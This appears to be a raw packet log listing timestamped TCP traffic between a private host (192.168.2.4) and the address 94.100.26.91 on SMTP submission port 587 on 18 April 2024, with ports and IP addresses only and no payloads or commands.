Apr 18, 2024 18:29:43.477864027 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477875948 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477885962 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.478498936 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.478512049 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.478522062 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.480146885 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.712316990 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.712538004 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.870075941 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.870100975 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.870352030 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.062211990 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.062324047 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.062403917 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:44.410650969 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.410711050 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.410736084 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:44.410782099 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:44.704077005 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.762654066 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.762708902 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:44.762748003 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:44.762798071 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:44.765100002 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:45.116628885 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.116655111 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.116668940 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.116744041 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:45.116811037 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:45.464577913 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.464647055 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:45.815905094 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.815926075 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:45.858849049 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:46.209909916 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:46.209978104 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:46.560204029 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:46.560229063 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:46.560305119 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:46.560391903 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:46.911242008 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:46.911324024 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:47.258421898 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:47.258445024 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:47.258529902 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:47.258529902 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:47.605798006 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:47.605820894 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:47.719575882 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:48.066576958 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:48.066689014 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:48.417045116 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:48.417123079 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:48.417129040 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:48.417228937 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:48.764519930 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:48.764545918 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:48.764595985 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:48.764628887 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:49.115222931 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.115297079 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:49.115308046 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.115353107 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:49.464086056 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.464174986 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.464210987 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.470652103 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:49.815041065 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.815069914 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:49.815185070 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:49.815185070 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:50.163649082 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:50.163928986 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:50.164024115 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:50.170505047 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:50.518572092 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:50.582700968 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:50.935576916 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:50.935651064 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:50.935710907 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.282891989 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.286542892 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.360496044 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.635297060 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.635360003 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.635534048 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.635534048 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.709213018 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.982994080 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.983026981 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.983043909 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:51.983175993 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:51.983175993 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:52.332964897 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:52.333024025 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:52.333034039 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:52.333062887 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:52.333071947 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:52.333120108 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:52.682864904 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:52.682897091 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:52.682924032 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:53.042537928 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:53.401424885 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:54.178392887 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:54.250499964 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:02.674510956 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:02.993271112 CEST	587	49767	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:02.993993998 CEST	49767	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:02.996172905 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:03.313707113 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:03.313803911 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:03.636260033 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:03.636413097 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:03.953906059 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:03.954046965 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:04.272480965 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:04.374505997 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.488307953 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.492335081 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.576839924 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.606164932 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.823908091 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.823980093 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.824012995 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.824023008 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.824034929 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.824084044 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.824837923 CEST	587	49774	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.824917078 CEST	49774	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.968198061 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.968374968 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.982599020 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:12.982960939 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:12.983189106 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:13.308707952 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:13.308790922 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:13.643069029 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:13.643198013 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:13.830807924 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:13.830921888 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:13.969152927 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:13.969436884 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.178294897 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.178430080 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.296186924 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.296530962 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.526700020 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.527024031 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.632697105 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.632757902 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.632828951 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.632880926 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.634310961 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.890176058 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.890264988 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.890320063 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.890376091 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.891391039 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:14.960690975 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:14.961414099 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:15.238601923 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:15.239310026 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:15.287276983 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:15.287475109 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:15.587022066 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:15.587192059 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:15.614053011 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:15.614233971 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:15.970186949 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:15.970366001 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.140121937 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.301004887 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.301173925 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.369404078 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.369504929 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.488217115 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.489676952 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.647945881 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.648221016 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.854810953 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.855081081 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.973860025 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:16.974139929 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.974190950 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.974220991 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.974523067 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:16.975481987 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.200994968 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.201183081 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.299638987 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.299694061 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.299721956 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.299741030 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.299787045 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.299835920 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.300767899 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.300812960 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.300815105 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.300863981 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.301029921 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.301074028 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.301075935 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.301141977 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.567456961 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.567610979 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.625345945 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.625422001 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626071930 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626122952 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626168966 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626223087 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626261950 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626312971 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626327991 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626358032 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626365900 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626403093 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626403093 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626447916 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626457930 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626528978 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626619101 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626719952 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626832008 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626880884 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.626912117 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.626974106 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.627002001 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.627051115 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.913960934 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.914305925 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.914350986 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.914350986 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.914396048 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.915654898 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.952138901 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.952208042 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.952794075 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.952843904 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.952886105 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.952900887 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.952939034 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.952950001 CEST	49776	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:17.952986002 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953042984 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953058004 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953109980 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953205109 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953280926 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953344107 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953358889 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953473091 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953489065 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953579903 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953594923 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.953679085 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.954042912 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:17.954159021 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.262200117 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.262268066 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.262276888 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.262366056 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.262475014 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.262530088 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.263205051 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.263266087 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.263431072 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.263480902 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.263505936 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.263555050 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.263590097 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.263664961 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.263705015 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.265032053 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.265080929 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.265103102 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.265160084 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.278491974 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.278507948 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.279411077 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.279498100 CEST	587	49776	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.612535954 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.612618923 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.612657070 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.612749100 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613281965 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613336086 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613432884 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613533974 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613579988 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613642931 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613728046 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613745928 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613759995 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613780975 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613820076 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.613851070 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.613919020 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.615670919 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.615751982 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.615796089 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.615854979 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.616208076 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.616271973 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.959968090 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.959991932 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960047960 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960086107 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.960141897 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960232973 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960310936 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960444927 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960494995 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960578918 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960597038 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960707903 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960725069 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960786104 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.960856915 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.960856915 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.960856915 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.960856915 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.960907936 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.961158037 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.963207960 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.963267088 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.963293076 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.963361979 CEST	587	49775	94.100.26.91	192.168.2.4
Apr 18, 2024 18:30:18.963373899 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.963449955 CEST	49775	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:30:18.963468075 CEST	587	49775	94.100.26.91	192.168.2.4
